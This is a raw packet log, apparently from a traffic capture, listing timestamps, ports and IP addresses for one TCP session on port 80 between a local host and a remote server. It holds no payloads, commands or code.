Dec 18, 2024 19:08:24.095257998 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.095731974 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.095808029 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.096076012 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.096245050 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.096622944 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.096635103 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.097147942 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.097578049 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.097914934 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.098211050 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.098490953 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.098555088 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.098692894 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.099498987 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.099550009 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.099570990 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.100239992 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.100271940 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.100507975 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.100567102 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.101155996 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.102098942 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.102113008 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.102164984 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.102216959 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.103025913 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.103116035 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.103549957 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.103590965 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.103903055 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.104232073 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.104470015 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.104526043 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.104847908 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.105000019 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.105230093 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.105294943 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.105789900 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.105909109 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.105988979 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.105988979 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.106637001 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.106676102 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.106776953 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.106815100 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.107570887 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.107764959 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.107768059 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.107839108 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.108447075 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.108567953 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.108653069 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.109391928 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.109595060 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.109647036 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.110331059 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.110462904 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.110471964 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.111186981 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.111335993 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.111376047 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.112095118 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.112262011 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.112310886 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.113063097 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.113121986 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.113243103 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.113322973 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.113909960 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.114104033 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.114193916 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.114825010 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.114981890 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.115077972 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.115767956 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.115813971 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.115845919 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.116234064 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.116703987 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.116755962 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.117054939 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.117151022 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.117574930 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.117665052 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.117722988 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.117830038 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.118530989 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.118666887 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.118684053 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.118725061 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.119415998 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.119462967 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.119954109 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.120014906 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.120369911 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.120526075 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.120585918 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.121242046 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.121364117 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.121454000 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.122149944 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.122206926 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.122391939 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.123121023 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.123133898 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.123209000 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.124005079 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.124258995 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.124278069 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.124933004 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.125009060 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.125143051 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.125863075 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.125937939 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.126121998 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.126229048 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.126935005 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.126948118 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.127002954 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.132425070 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.132488012 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.132601976 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.132833004 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.133019924 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.133085966 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.133727074 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.133843899 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.134217978 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.135153055 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.135333061 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.276623011 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.276787996 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.276876926 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.277137995 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.277292967 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.277450085 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.277452946 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.277626991 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.278429985 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.278597116 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.278659105 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.278908968 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.278920889 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.278934002 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.278945923 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.278975010 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.279006958 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.279143095 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.279280901 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.279340029 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.280220985 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.280239105 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.280256033 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.280282974 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.280375004 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.281059027 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.281130075 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.281208992 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.282017946 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.282109022 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.282143116 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.282774925 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.282831907 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.282871962 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.282938004 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.283482075 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.283605099 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.283673048 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.284472942 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.284581900 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.284652948 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.285366058 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.285511017 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.285572052 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.286349058 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.286406040 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.286503077 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.287209988 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.287281990 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.287347078 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.288237095 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.288247108 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.288310051 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.288395882 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.289083004 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.289235115 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.289292097 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.289907932 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.289959908 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.290035009 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.290930033 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.290997028 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.291111946 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.291795969 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.291821003 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.291857958 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.291857958 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.292623997 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.292726040 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.292782068 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.293591022 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.293725967 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.293858051 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.294481993 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.294529915 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.294584990 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.295408010 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.295461893 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.295485973 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.296252012 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.296286106 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.296405077 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.296454906 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.297214031 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.297343016 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.297393084 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.298105955 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.298152924 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.298212051 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.299072027 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.299154043 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.299252033 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.299968004 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.300018072 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.300028086 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.300067902 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.300864935 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.300990105 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.301045895 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.301774979 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.301939964 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.302016973 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.302736998 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.302792072 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.302853107 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.303621054 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.303718090 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.303786039 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.304369926 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.304521084 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.304723978 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.304785013 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.305444002 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.305588961 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.305718899 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.306379080 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.306459904 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.306477070 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.307254076 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.307333946 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.307367086 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.308192968 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.308327913 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.308406115 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.309087038 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.309181929 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.309181929 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.309338093 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.310019970 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.310230970 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.310291052 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.310878038 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.311057091 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.311197996 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.311799049 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.311856985 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.311903000 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.312334061 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.312777042 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.312844038 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.312861919 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.313673973 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.313811064 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.313983917 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.314559937 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.314686060 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.314703941 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.315037966 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.315512896 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.315634012 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.315759897 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.316385984 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.316560984 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.316776991 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.317367077 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.317429066 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.317459106 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.318308115 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.318361998 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.318393946 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.320415020 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.323070049 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.323080063 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.323159933 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.324631929 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.324771881 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.324836969 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.325083017 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.325290918 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.325372934 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.325393915 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.326189995 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.326390982 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.326396942 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.326446056 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.327083111 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.328555107 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.467133999 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.467228889 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.467329979 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.467509985 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.467694044 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.467820883 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.468390942 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.468579054 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.468655109 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.469337940 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.469465971 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.469556093 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.470257998 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.470379114 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.470463991 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.471160889 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.471252918 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.471283913 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.471616030 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.472048044 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.472203970 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.472347021 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.472347021 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.473057032 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.473135948 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.473182917 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.473968029 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.474056005 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.474082947 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.474967957 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.475035906 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.475106001 CET	80	49723	31.41.244.11	192.168.2.5
